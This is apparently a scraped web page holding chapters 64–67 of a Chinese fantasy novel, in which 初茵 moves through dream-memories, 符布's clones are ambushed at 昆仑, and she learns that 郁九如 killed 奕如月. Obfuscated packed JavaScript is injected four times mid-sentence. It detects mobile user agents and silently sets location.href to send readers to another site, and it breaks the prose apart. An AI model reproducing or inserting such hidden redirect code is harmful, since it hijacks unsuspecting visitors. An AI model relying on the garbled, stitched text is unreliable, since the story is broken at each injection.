0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13091653|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不上我们,这一次行动就不该开始。】 【闭嘴!】苍老的声音出声制止,【我们本就是一体,老六,如果你再敢说这样挑拨的话,我就告诉篷主。】 篷主?一体?符布? 初茵愣在当场,他突然想起郁九如告诉过自己符布一共有9个分身的事情。 现在这个样子,难道…… 【你去告状!就是篷主出手,他难道还能将我怎样?我的心思明明白白。】青年丝毫不忌惮。 【是老七不愿意配合,老子是自愿的,他可不是自愿的。】 另一个女声道:【既是一体,大家一荣俱荣,一损俱损,说这些有什么用。】 末了,老者发话道:【老七,你趁着这个机会去看郁九如,看他到底是不是真闭关。】 初茵知道此刻自己不能再保持沉默了,她刚想张口,脑中出现一个男子低沉的声音。 【好。】 似乎不用真的开口,只要想就可以和这几人交流。 女子道:【我看老七没问题,有问题篷主还能感应不到?他就是不想理你。】 青年冷哼,【老五你的心还能再偏点吗?】 【我偏心?这本就是篷主的意思,人家是篷主亲自请来的。你呢,自己上赶着来,这能一样?】 【你不也是上赶着来的?】 …… 初茵向着重雪峰的方向而去,耳边是一个男女之间的争吵,通过他们的聊天,她确定自己现在的身份是符布的分身之一。 身为分身,他们看到听到的一切,符布都一样能感应到这一切,唯有想法是自己的。 而且自己这具身体的原主人似乎并不是自愿的,所以在这个四人的队伍里,他不被信任。 再次来到重雪峰,初茵有一种莫名熟悉的感觉。 里面的郁九如是清醒的那个吗? 重雪峰的殿门紧闭,初茵刚来这里,就看到了在门口无聊托腮的一个小弟子。 待他抬起头,初茵才发现他是昆延。 他看起来稚嫩许多,看到人之后,他连忙起身,行礼的动作也有些生疏。 “褚师兄。” 初茵回礼,问:“君上还在闭关吗?” 听到她的问话,昆延连连摆手,“别这么称呼了,剑君说了,既然人没死,又回来了,那现在的君上就不是他。” 【哈哈哈,连名号都不让叫?他这意思是郁千彦回来了,他就甩手不干了?】 【郁千彦出走三年,世人都以为他死了,谁能想到他还能活着回来。】 【呵!他还将那合欢宗的女子带回来了,儿子这边刚死了娘,回头就看到他爹带着别的女人回来,怎么能不气?】 【要不说这是我们的好机会呢?】 …… 昆延颇为苦恼地挠了挠头,“褚师兄,如果你还是为蛊师之事而来,还是去主峰找真正的君上吧,剑君是不会见你的。” 真正的君上,是郁千彦吗? 【快去,那边一定还有一场好戏。】 【我在外面都听说了,郁千彦回来之后自讨没趣,他说的话没人听。】 【发妻尸骨未寒,他还明目张胆地带着个女人回来,真是搞不懂怎么想的。】 …… 初茵看了一眼他身后紧闭的大门,点头离开。 突然,一个陌生男人的声音在耳边想起。 “你觉得郁九如是真闭关了,还是在掩人耳目?” 这个声音十分陌生,自己的眼前也什么都没有出现。 就在这时,她的心脏突然传来一股酸麻的感觉,像是被人紧紧攥住。 “回答。”那个声音命令道。 64. 梦境(五) “我不知道。”初茵脱口而出。 很快,那个声音消失,她脑海中又出现了那三人的讨论。 刚才那人……是符布吗? 面对他的时候,她似乎不能撒谎,只能说出自己最真实的回答。 不过是小半天的时间,初茵已经适应了脑海里三人的声音,从他们之间的讨论,她也大概摸清现在的形势。 昆仑外聚集了一帮蛊师,他们气势汹汹,隐藏在凡人和修士之中,随时会攻击往来弟子。 数月之前,郁九如的母亲带人抵挡,而被诱骗进入陷阱重伤身亡。 也就在差不多的时间,郁千彦突然回来,说要带领昆仑众人反击。 不过,他的命令没有人听,众人都对他视而不见。很明显,不只是郁九如,昆仑众人心里都带着怨气。 初茵来到了主峰,这里坐落着众多殿宇,本是长老和首座们商议事情的地方,此刻却空荡无一人。 她走进殿内,听到了两人的争吵声。 “你为何执意如此,没有人听你的话,这些与你有何相关?” “阿容,这些本就是我的事,没有人能替我完成。” “所以,现在你要言而无信?” “我走不开,阿容,帮帮我。” “做梦吧!我不会帮你!” …… 【这两人真是无聊,这个时候了,竟然还在吵。】 【看来郁千彦身边是真没人了,竟然想让一个合欢宗的女人帮忙?】 【他要做什么?】 初茵站在一个尴尬的位置,既不适合进去,也不适合退出去。 就在她犹豫不决之时,白容色从殿内冲了出来。 她心里有诸多问题想要找她解惑,此时也顾不上许多,快步跟上去。 【老七,你跟着那女人做什么?不去打探郁千彦的情况?】 【这时候应该去取得郁千彦的信任。】 【老七也许是想多打听些信息呢?】 很快,前方的女子停了下来。 她转过身,看到那张脸上的表情,初茵立刻就发现她不是自己认识的那个白容色。 眼前的女子警惕打量她,那表情不似作伪。 什么情况? 这到底是几个人的梦? 只有梦的主人才会察觉不出异常,难道她把自己也构建进了梦里? “你跟着我做什么?” 面对她的问题,初茵知道自己必须要给出一个合理的回答。 “我想劝你离开这里。”初茵脑中有了想法,说起来也格外顺畅,“如果不是带你回来,事情也不至于到这个境地。” “你要是为了他好,就应该离开这。” 这其实也是初茵真实的想法,在她看来,只要白容色肯离开昆仑,那郁千彦的处境会好很多。 【老七,你搞什么?她要是离开了,那郁千彦的势力不就回来了!】 【我们这好戏还没看上几天,你现在要劝人离开?】 白容色狠狠盯着面前的弟子,怒气几乎要冲破眼眶,“我凭什么离开他,他本来就是我的,他答应我要和我一生在一起,少一天都不行!” 初茵知道她脾气刚硬古怪,也没觉得自己能劝住她。 “如此,那是我多嘴了。” “慢着!”初茵转身准备离开,却被她叫住了。 白容色上下打量他,抬了抬下巴,“我记得你是千彦身边的弟子,你是真的想帮他吗?” 【呦,原来老七的目的是取得她的信任啊?】 【真是小看他了,不声不响的,竟然还知道用计?】 白容色的问题出乎她的预料,初茵只能道:“自然,无论何时,都应以昆仑的大局为重。” 盯着他那张没有表情的脸,白容色的脸上出现了一瞬的纠结。 很快,她又问:“我记得你的权限很高,能随意进入各峰?” “是,大多数都可以。” 白容色似乎想到了什么,她垂下眼,看了看自己苍白的指甲,“好,那我这里还有一宗功劳,让你去领。” …… 初茵没有得知所有的计划,但她从白容色这里领到了一个任务。 后日寅时,她不能睡觉,要随时留意宗内出现的情况。 【这是什么任务?难道那时候昆仑有什么大行动?】 【那我们怎么办,是不是现在撤退比较好。】 【要不,还是请教一下篷主。】 初茵脑内又在争论不休,她也在琢磨白容色是什么意思,是在试探自己?还是在暗示自己? “别猜了。”陌生的男声响起,脑内所有的声音都停了下来。 男人的声音带着一股愉悦的笑意,“后日寅时,就是那群蛊师突袭昆仑的时间。” 【可是昆仑有阵法,他们怎么可能进得去?】 “想必郁千彦已经发现了昆仑的内应,这是想来一招瓮中捉鳖。” 【哈哈哈哈哈还瓮?昆仑到处都是我们的人,到处全是鳖了,还用费这功夫?】 老六笑声爽朗,似乎没有发现这个说法不太妥当。 “闭嘴。”男人的声音冷下来,“听好我的吩咐,这一次,郁氏会自此断绝。” 时间过得很快,转眼就到了后日。 这两日,原主仍然每日会去一趟重雪峰,不过她还是一次都没见到郁九如。 通过这两日的思考,她也想明白了。 白容色说过,梦境是现实的延伸,所以,如果让一个人快速放松警惕,那最好就是从真实的记忆开始。 就像是之前小郁九如的梦境里一样,自己所经历的应该是符布记忆的一部分。 白容色给自己的任务,是让他在看到信号之后,立刻通知其余各峰,而符布给自己的任务是让他按兵不动。 这一日晚上,昆仑的护山阵法出现了一个缺口。 无数的蛊师如蝗虫过境一般涌入昆仑,但各峰却没有反应。 “去重雪峰,杀了郁九如!” 符布的命令很突然,初茵接到这个消息的时候,其余几人已经混入了昆仑。 直到这时候初茵才明白他到底想要做什么? 郁千彦的目的是蛊师,而他的目标却是郁九如。 【重雪峰!我看到了!】 女人的声音兴奋癫狂,初茵的眼前出现了重雪峰的画面。 深蓝的天空下,月色照印着月色,那座宫殿安静矗立,美得像是幻觉,莫名的令人不安。 【我怎么感觉这里不对劲。】 虽然已经到了近前,女人却不敢继续向前迈进。 就在这时,自侧面突然袭来一剑,她躲闪不及,整个人跌落下去。 回过头时,她看到了一张少年的脸。 初茵也看到了,那张脸年轻而锋芒,尽管还稍显稚嫩,但周身的冰冷和锋锐却丝毫不减。 郁九如,他为什么躲在这里,难道他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114293|130071||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' 是在故意设计? 显然不只是初茵会这么想,符布也是这么想的,他在遭到伏击的瞬间立刻下令撤退。 “都回来!中计了!” 初茵通过画面,能看到女人逃得很狼狈,她损失了一条手臂后,立刻开始向前方混乱的地方逃窜。 眼下的昆仑火光冲天,弟子和蛊师混战在一起,正是逃命的好机会。 【老三,你还行吗?】 【放心。】女人的声音有些勉强,但却带着一股狠劲,【郁九如不过一个毛头小子,连阵法都不会设置,还不如他那个蠢爹。】 话音未落,耳边蓦然响起铮铮嗡鸣之声,眼前突然出现无数条金线,铺天盖地袭来。 初茵听到了女人痛苦地嘶吼。 透过金色的血线,初茵看到了郁九如年轻而阴郁的脸。 周围火光的映射下,他整个人看起来透着一股煞气,与其说是在看那个女人,不如说是在看自己。 所有看到这幅画面的人应该都有同感。 初茵下意识也想逃跑,可她很快就意识到,自己现在逃跑反倒可能会出现风险。 【老四你躲在哪里?】 老六的声音气喘吁吁,他显然正在逃跑,而且看他周围的景象,他应该是已经离开了昆仑。 苍老的声音道:【我在昆仑,阵法关闭,现在已经出不去了。】 【那你怎么办?】老六一边跑一边问,关心倒不似做伪。 【我现在向重雪峰的方向过去,郁九如去追蛊师,定然想不到有人反其道而行之,这就叫做“灯下黑”。】 【聪明,到时候让老七帮你一把,应该能安全离开。】 老者正为自己的计谋得意,没成想,脚下不知踩到了什么,面前突然出现了一阵亮光。 郁九如提剑出现在光阵中间,声音如同恶鬼的低语,“原来躲在这。” 初茵的眼前出现了大片血光,随后,就是一片漆黑。 老六的声音颤抖,【老七,郁九如是不是发现了真相,不然怎么会这么巧?全都是我们?】 符布的分身一直是坞篷的最高机密,除了他们几个,没有人知道。 初茵没有回答。 因为她也不是真正的褚文。 【你到哪里了?】 初茵难得开口问了他一句,就见眼前出现一片弥漫的黑色雾气。 “哈,哈哈,老、老子马上就能回去了!”男人的声音喘息而兴奋,控制不住地喊出声来,“那个毛崽子只是运气好,下次见面,我一定砍掉他的脑袋!” 突然,他止住了脚步。 前面的黑雾之中出现了一个人影。 “篷主?” 男人的声音小心翼翼,他的第一想法就是篷主,若不是他,还有谁会来接应自己。 可若是篷主,他为何事先不通知自己? “想要取我首级,也不用等下次了。” 少年手握滴血的长剑,周围金光绕着黑色衣袍,冷声走出黑雾。 眼前的最后一幅画面颠倒。 “你竟敢背叛我。” 心脏像是被人攥住了,剧痛让她蜷缩着身体缓缓倒下。 符布的声音带着压抑不住的愠怒,“他到底许你什么了,你竟然背叛自己?!” 初茵眼前的一切渐渐模糊,不知何时,视线里出现一个看不清的人影。 他的声音很年轻而冷漠,“告诉符布,从今往后,他的每条命我都要了。” 65. 梦境(六) 周围的景致像被雨水冲刷了一般,缓缓褪去,变成了浑浊不清的阴暗的色调。 地上人的尸体渐渐变得透明。 一袭白衣的女人突兀出现在郁九如身后。 “你已经知道真相了,当年打开昆仑的阵法,并非是我勾结了那群南疆蛊师,一切都是你爹的主意。” 郁九如语调平静,“我知道。” 不知道为什么,白容色看他这一副镇定的样子,觉得十分不顺眼。 当年郁千彦逼自己和他一起合作,说只要全部消灭那群蛊师,他就和她一起走。 最后确实是按照他的想法,所有的蛊师都被杀了,但他自己也就此死去。 此时,一个可怕的猜想突然浮现在脑海里。她脸色一变,“你是不是早就知道?” 郁九如慢慢转过身,面无表情道:“我是不是知道,对你有何影响?” 有何影响? 他竟然问自己有何影响? 白容色的脸色变得十分难看,她是个很聪明的女人。 看郁九如的神情,她已经把事情猜得差不多了。 “所以你早就知道了,你和他一起来骗我?” 郁千彦想必早就将自己的计划和他儿子说了,他们的目的根本不是那群蛊师,而是那几个符布的分身。 只有自己被蒙在鼓里,为帮他实现计划,偷偷开了阵法,最后沦为勾结南疆人的叛徒。 叛徒! 对,若自己不是叛徒,又怎么会回到这里,替他守这里数百年。 这一瞬间,白容色把所有的事情都想清楚了,她坚信自己被这对父子给算计了。 但是有一件事,她还是不明白。 “你就这么看着他死?你没想过去救他吗?” 郁九如去杀符布的分身,所有的蛊师目标都是郁千彦,他这个儿子竟然就这么看他被围攻死去。 郁九如抬起眉眼,语气隐隐带着不耐烦,“我并不知道他的计划,他是来找过我,不过,我并没有见他。” “我母亲因他而死,我怎么可能和他合作。” 当年若不是听到郁千彦的消息,母亲也不会一个人涉险,最后反倒是落入了敌人的圈套里。 “好!好得很!” 得知是郁千彦自我牺牲,成全他这个儿子之后,白容色并没有觉得舒服一些,反倒是更加痛苦。 一切都是她一厢情愿,自己除了一场梦境和幻影,最后什么也没有得到。 甚至,他死之前都没有为自己考虑过一点。 她心中凄凉,脸上却还带着笑,“我真有些好奇,你说,若是初茵知道你才是杀了奕如月的真凶,她会如何?” 郁九如死死盯着她,眉眼是掩饰不住的阴戾。 “哈!”白容色嗤笑一声,“还真被我给猜中了,当年那个姑娘来到百蛊城,还是我给她指的路去找你。” “你不愧是他的儿子,果然真的下手了。”她语气带着讥讽,“不过看来你运气不怎么样,你选错了?” 郁九如并没有回答他,他的神色阴晴不定,十分难看。 当年郁氏叛逃,并没有得到真正消灭魔种的方法,所有的信息混杂在一起真真假假,只推导出两条最有可能的解法。 世人只知道郁氏有消灭魔种之灾的方法,却不知道,这两条解法中到底哪条是真的。 甚至有可能,两条都是错的。 不过让郁九如惊讶的是郁千彦竟然把这些都告诉了她。 连自己的母亲都要隐瞒的真相,竟然让这个女人知道。 “怎么?没想到我会知道真相?” 白容色挑起一边眉毛,心中竟然觉得有些安慰,可想到郁千彦这样欺骗自己,她竟然还会因为他的计划而觉得开心,一时又暗恨不已。 “我不是你爹那样的无信之人,我既然答应了他,那就一定会帮他实现愿望。” “郁九如,现在和我一起,去验证第二条道路,看看它是不是假的。” 白容色死死盯着他,露出讥讽的笑,“毕竟,那个初茵只能死一次,你没有第二次试的机会了。” 听到她的话,郁九如呼吸一窒,胸口像是被堵住了一般,再无法再吐出一个字。 * 初茵看到白容色和郁九如一起出现,很显然,这两人已经达成了某种她不知道的合作。 “你到底在搞什么?” 白容色看她的眼神十分古怪,虽然是笑着,眼中却带着嘲弄意味。 “放心,马上就开始了。” 郁九如也转头看了她一眼,神色复杂。 白容色抬手,巨大的蝶翅自她身后升起。 混沌的白色场景突然一变,四周变得昏沉起来。 三人像是行走在一个充满鱼卵的肚子里,空气里到处漂浮着诡异的灰黑色小球。 “跟着我,别乱动,这些都是那个老妖怪的记忆。” 初茵又不解了,“你不是说,我们是要进入他的梦境里吗?为什么不直接进去。” “首先,我得找到他才行。”白容色皱着眉,似乎很不想解释,“他的脑子很不正常,里面除了他,还有其他人的记忆,找错就前功尽弃了。” 前功尽弃? 初茵不觉得有什么前功尽弃,甚至直到现在这一刻,她都不确定白容色到底想要做什么。 她又看了一眼郁九如,见他反应平平。 如果不是白容色太难琢磨,她都以为这两人是商量好了来耍自己的。 明明说好了是对付郁九如,现在变成了对付符布。 初茵突然想到什么,认真看向他,质问道:“你为什么会有那样的梦?” 他有什么自信,觉得自己会□□他? 郁九如顿了一瞬,意识到她说的是什么后,眸子中出现了显而易见的慌乱。 “那是假的,是白容色搞得鬼。” 他转过头不去看她,语气镇定,耳尖却出现了明显的红,“你别受她蛊惑。” 走在前面的白容色发出一声意味不明的嗤笑。 初茵想了想,觉得也有可能。 又或者,他觉得自己是合欢宗的女修,所以有这样的想法也正常。 就在这时,初茵面前突然出现一个巨大的泡泡,她来不及反应,身体骤然被吸进去了。 待旁边之人发现时,一切都已经迟了。 郁九如正要进去,面前却伸出一只手挡住,白蝶夫人道:“没事。一个回忆,等她出来便是。” * 感觉自己似乎在被一个人牵着走,他抬起头,看到一个老人笑眯眯看着自己。 “阿布,是累了吗?” 他摇摇头,低头看到了自己的鞋,因为长途跋涉,鞋面露出了两个窟窿,自己脚指头被卡在那个破洞里,有些可笑。 他动了动脚趾。 “等到了下一个城里,奶奶帮你买一双新鞋。” 耳边老人的声音很和蔼,不过他已经不太信她的话了,因为之前路过的几座城市,她也是这么说的。 他讷讷道:“奶奶!我不想走了,我的脚好疼。” 他不知道为什么要跑这么远,那些修士真有那么厉害吗?他们都已经跑了这么远,应该不会被发现了。 老人听了他的话后,沉默着没有回答。 在天黑之前,他们终于进到了城里。 这里的城镇和南疆的很不一样,街道更宽大,人更多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126131|130071||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' 还有很多他没有见过的东西。 老人的穿着一件深蓝的布衣,挎着一个竹编的篮子,走起路来,右脚稍稍有些坡。 “我们一路逃灾过来,能不能租给我们一间房子,暂住两日。” 相较于她的沉重,符布的脚步却很轻快,他一蹦一跳,觉得脚也不疼了,浑身都充满了力量。 祖孙两走了好久的路,终于,他们找到了一处栖息之所。 “你们不会是南疆的人吧?” 租房的女人脸上带着些警惕。 符布赶紧道:“不是,我们祖孙是西边逃灾来的。” 一路上,她已经听老人重复了无数次这句话,这次挡在老人开口之前就说了。 女人被逗笑了。 终于,他们有一个落脚的地方了。 一日之后,他有了一双新鞋。 两日之后,老人把他打扮成女娃的模样,说他们要离开这里。 “再多留一日吧。”他哀求道,“我还想再吃一次糖葫芦。” 街巷的末尾有个卖糖葫芦的商贩,他卖的糖葫芦又大又甜,只是每隔一日才会来一次。 “不能再呆了。”老人叹了一口气,“等你吃完我们就离开。” 次日一早,他便等在街巷末尾,等那个卖糖葫芦的小贩过来。 直到日上三竿,他才看到那个小贩的身影。 他咬了一口糖葫芦,一蹦一跳地向回赶,此刻那些路上的辛苦似乎都不值一提了。 穿过小巷,距离越来越近。 拐过弯,他突然发现自家的房门前站着几个陌生人。 他们个个手持长剑,每个人的穿戴都极为华丽。 是那群人! 瞬间,他觉得血液凉了下去,刚咬的糖葫芦鲠在嘴里,连嚼一下的力气都没有。 脚步浮虚着走过去,他看到了流出门外的血,和趴在地上的灰蓝色人影。 他没有再看一眼的勇气,僵着腿继续向前走。 “喂!”一个女人突然叫住了他。 他抬起头,近乎呆滞地看着那张美到虚假的脸——好像所有的修士,都是这样一张脸。 “小丫头,你的糖葫芦在哪里买的?” 他愣了一下,抬手指了指一个方向。 “哈哈!他怎么呆呆的,是不是没见过师姐你这么美的人。” “别胡说,快去给我买。” “要不就不等了,我们都过去吧?” “不行,线人说了还有一个男孩。” “那留下一个人不就行了……” 身后的几人嘻嘻哈哈,直到他拐过弯,耳边都还是他们的声音。 * “初茵!初茵!快醒醒!” 初茵迷迷糊糊地睁开眼,看到了一脸严肃的白容色。 “你?”她想要出口质问,但有不知道该说什么,“你到底在做什么?” 白容色盯着她,面无表情,“你做得很好,初茵。符布已经彻底入梦了,现在我要和你谈一个合作。” 初茵难以置信,“合作?你还好意思谈合作,我们有什么好谈的?” “我和你才是一个阵营。”白容色声音坚定,“你不是想知道奕如月是怎么死的吗?” “我告诉你,她落入蛊潮之后,并没有死,而是和你一样被源蛊寄生,真相就是,她是被郁九如所杀。” 初茵如遭雷击,不可置信地看向她,“你在说什么?” “我带你去看真相,初茵,结束之后,告诉我你的选择。” 话音未落,白蝶轰然散去。 她看着周围的混沌场景,感觉自己的脑子也开始变得混乱,白容色的话太荒谬,让她觉得无所适从。 66. 梦境(七) 此刻的初茵很清醒。 山崖上,郁九如拿剑指着她,那样子似乎想立刻把她捅个对穿。 吹来的风带着热度,刮在脸上火辣辣的疼。 初茵环视四周,入目是一片焦黑,身后是万丈深渊,深渊内,翻滚着炽热岩浆一样的物质,火焰燃烧于其上。 翻滚的岩浆像是海水,撞到石壁,激起无边无际的火浪。 一切诡异的场景都指向一个名字——业火城。 原来时间已经到了,这就是业火城。 “就是今天吗?”她看向他。 郁九如的脸色紧绷,看她的目光没有丝毫情感,似乎像是她刚见他的那会,简直是把刻薄两个字写在了脸上。 他说:“你的时间不多了。” 真是感谢他,竟然还替自己挑选了时间,初茵有些讥讽地想。 “我只有一个问题,你还会遵守我们之前的约定吗?” 倘若她身死之后,魔种之灾真的消失了,他便要将所有的真相公之于众。 * 一间昏暗的房间里,少年举着镜子,将一切都照给了瘫倒在床上的人看。 或者说,那已经不能称之为“人”,只是一把枯骨上蒙着一张皮而已。 若不是这里是符布的梦境,白容色怎么也想不到,所谓的坞篷篷主竟然是这幅尊容。 “篷主,您的计划要成功了。” 那人脆弱的已经起不来身体,只能勾着脖子,眼珠几乎要突出眼眶,紧紧盯着那镜面上的每一个画面,像是生怕自己移开一秒,就会错过什么重要的细节。 白容色看到他这幅样子,心里却有些放心。 还好自己用的是郁九如的记忆,否则,怕是很难骗过这个老东西。 “他怎么还不动手。” 符布张了张瘪起的嘴,说出来的却是苍老的气音。 少年垂下眼睫,“篷主莫急,郁九如刚愎自用,一定会动手。” * 郁九如盯着她,眼神有些空洞和迷茫,像是在看她,又像是在看别人。 “我不记得我们之间有过什么约定。” 怒意无可抑制地上涌,初茵瞪眼盯着他,胸口剧烈起伏。 她似乎没有料到他会这么无耻,明明答应了自己,却在这个关键的时候矢口否认。 “看不出来,你这人整日将守诺挂在嘴边,自己却是言而无信的小人。” “怎么了,想来想去,还是你们昆仑的脸面更重要?” 此时在郁九如的眼里,他看到的却是另一番场景。 高马尾的女子脸色凝重,她像是盯着仇人一样地看自己,嘴巴一张一合,说的却是他听不懂的话。 她看起来并不平静,甚至十分愤怒。 在他的印象里,奕如月不该是如此的一个人。 她更像是…… 像另一个人。 记忆像是遇到了阻碍,郁九如微微蹙眉,想不起自己在哪里见过这样的人。 初茵骂了一通,结果郁九如却依旧是面无表情。 她真是厌倦了他的这张脸,不耐地移开视线,“不是要杀我吗?你还愣着做什么,难道指望我自己跳下去。” 她刚回头看了一眼,心里就已经被吓去了半条命。 与其如此,倒不如死了再掉进去。 迟迟没有反应,初茵转过视线,却发现郁九如紧盯着自己,像是不认识自己一般。 她语气很不好,质问道:“你看什么?” 郁九如似是意识到了不妥,他微微移开视线,缓缓道:“我还有一个问题想要请教,还请你如实回答。” 初茵警惕道:“什么问题。” “阁下是灵韵仙子吗?” 初茵一愣,心里泛起一股莫名可笑的情绪。 郁九如一直咬定奕如月就是灵韵仙子,怎么突然会问自己这个问题? 他是发现了什么,还是自己露出什么破绽? 初茵嘴角勾起一个讥讽的笑,“都这个时候了,问这些有什么用吗?” 郁九如垂下长睫,道:“这对我很重要,还请你如实相告。” “若我回答是,你会因为我是灵韵仙子,今日就放我一马吗?” 郁九如沉默片刻,“不能。” “我不是。”初茵毫不犹豫道。 不对!不应该是这个答案。 他察觉到了不对劲。 ——“你会因为对方是灵韵仙子,而对她手下留情吗?” ——“不会。” ——“君上不必问了,我确实是灵韵仙子。” 眼前的人影渐渐分裂成两人,高马尾的女子一脸冷清,无论何时都是面无表情。 但是另一张脸…… 一张模糊而熟悉的面容出现在视线里,她看向自己的目光带着毫不掩饰的厌恶。 剑尖不受控制的发抖。 她不耐烦地催促,“问完了吗,快动手吧!” * “怎么了?发生什么了?他是不是发现了?” 床上那人十分不安,发出的声音喑哑急促,像是随时都会断气。 白容色也很着急,她知道事情不能拖,越拖越是容易出事。 但她嘴上却只能附和道:“篷主,郁九如还不动手,不会是发现我们在骗他了吧?” “不可能。” 符布激动地浑身都在颤抖,他布局了这么多年,这个可能让他不能接受。 “既然他已经杀了奕如月,那就一定会去试第二个答案。” 白容色见状,试探道:“也许,他是发现了真正破解魔种之灾的方法?” “不可能,真正的方法要他——” 说到这里,他停了下来,打量起面前的少年。 荼罗一族的三个兄弟,两个都给了自己,他们一族忠心耿耿,当然不可能背叛自己。 他把他留到最后,过不了多久,这具年轻的身体就是自己的了。 “别着急,好孩子,我会告诉你的。” 符布看他的目光带着毫不掩饰的贪婪。 少年垂下头,柔顺地笑了笑。 * 两人还在僵持着。 初茵不明白他为什么会突然问灵韵仙子的事情?而自己回答过之后,他竟然还后退了一步。 突然看见一只白蝶栖息在他的剑尖上,她有些困惑地抬起眼皮,看向他。 “你的剑上——” 话音未落,胸口骤然传来一阵剧痛。 初茵难以置信地看向他,不知道他发什么疯,怎么不声不响地突然动手。 她的身体失力,整个人不受控制地向后仰倒。 最后一眼,她在他的眼里看到了惊骇。 “初茵!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156966|130071||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' * “哈!哈哈哈!他中计了!我赢了!我赢了!” 瘫倒在床上的人眼睛凸起,五官乱飞,整个人像是要笑断气。 “篷主英明。”白容色不动声色地收起镜子,躬身行礼,“现在,能请篷主赐教吗?” …… 火光里,初茵看到了一张熟悉的脸。 阿月? 高束马尾的女子站在崖边,身后是冲天的焰火,她腰间悬着长剑,神情清冷,“郁九如,你有多少把握。” 金冠黑袍的青年和她相向而立,他单手持剑,热风吹得他衣袂铮铮,乌发飞舞。 “五成。郁氏并没有完整消灭魔蛊的方法。奕姑娘,你确定要试?” 奕如月的唇色透着的苍白,她幽深的双瞳看向郁九如,脸上没什么表情:“我能感觉到,我的身体在发生变化。很恶心,恶念也在不断涌起,我不能真把自己变成魔君的养料。” “倘若我死,魔种便从此灭亡,那实在是好事一件,值得一试。” 郁九如犹豫道:“可若是失败了。” “若是失败了,你不要对任何人提起我,就当什么都没发生。” 郁九如盯着她,沉默片刻后,道:“我还有一个问题想要请教,还请你如实回答。” 奕如月偏了偏头,疑惑看向他,“你说。” 郁九如盯着她,“阁下是灵韵仙子吗?” 奕如月修长的眉蹙起,她眼珠微微转动,“你为什么会这样认为?” “当年我路过楚州地界,曾被灵韵仙子所救,当时,阁下就在附近。” 奕如月眨了眨眼,像是想到了什么,面上微微一笑,“原来是这样,那我也有一个问题,君上是否会因为我是灵韵仙子手下留情?” 郁九如盯了她片刻,开口道:“不会。” “真是毫不犹豫。”她的脸上露出一丝遗憾的表情,“君上不必问了,我确实是灵韵仙子。动手吧。” …… 初茵猛然从梦中惊醒。 她睁开眼,如溺水之人一般,发出痛苦的喘息声。 周围空旷至极,她挣扎着起身,呼吸声像是都带着细细的回音。 白容色的身影如同一抹幽灵,从宽大的石柱后缓缓走出来。 她垂下眸子,目光中似带着怜悯,“你找了这么久的凶手,却没有想到凶手就在你的身旁,你恨吗?你会为奕如月报仇吗?” 初茵抬起头,她的胸中惊涛骇浪,漫溢的情绪几乎淹没了她的理智,但面上却如一潭死水般平静。 郁九如骗了她,或者说,他一直都在骗她。 他就这样看了一路的戏,看她从昆仑找到虞州,看她想方设法地查找奕如月的死因。 他明明可以一开始就告诉自己真相,但却就是要瞒着她。 是怕她知道真相之后,对他心生怨恨,就不愿意再乖乖配合他? 不可能。 他这样的人,只要想,什么目的都能达到。他根本没必要顾及别人的感受。 为什么? 看她这样被耍的团团转很有趣吗? 初茵觉得胸口像是塞了厚厚的棉花,憋闷得难受,几乎连呼吸都觉得困难。 她闭上眼,缓慢呼吸了一会。 片刻后,她抬起眸子,望向白容色,“我答应你。但首先,我要先去杀人。” 67. 复仇 深夜,月色如霜。 蛊城北方的荒郊野地里,几幢冲天的石筒形建筑十分显眼,初茵在半空中便能遥遥看到。 马蹄落地时没有一点声响,车撵无声化为纷飞的白蝶。 白容色挥了挥手,一半的白蝶飞入院落中,接着,初茵听到了里面的尖叫声。 片刻后,白容色侧耳听了听,露出一个满意的笑容,她作出一个邀请的手势。 “动作快点!郁九如跟来了。” 门在眼前打开。 初茵走进去,绕过长道,来到不断发出惊呼的院子。 孟星寒被悬在蛊池,他双手紧紧拽着一根绳子,双脚蹬着池壁,绳子像是无法承载他的重量,在空中轻轻摇晃。 叶挽棠趴在蛊池边,她努力地抓住绳子的一端,在手臂上缠了两圈,压在身下,让它不至完全落下去。 池子底,是无数翘首以待的蛊虫。 “快!快救我!” 孟星寒看到初茵的第一眼,以为自己等来了救星。 叶挽棠也抬头看过来,她的脸比前两日溃烂得更加严重了,只留下尚且还能算是完好的五官。 眼下她咬着牙,努力拉着绳子的样子更有几分狰狞。 “你为什么在这里?” 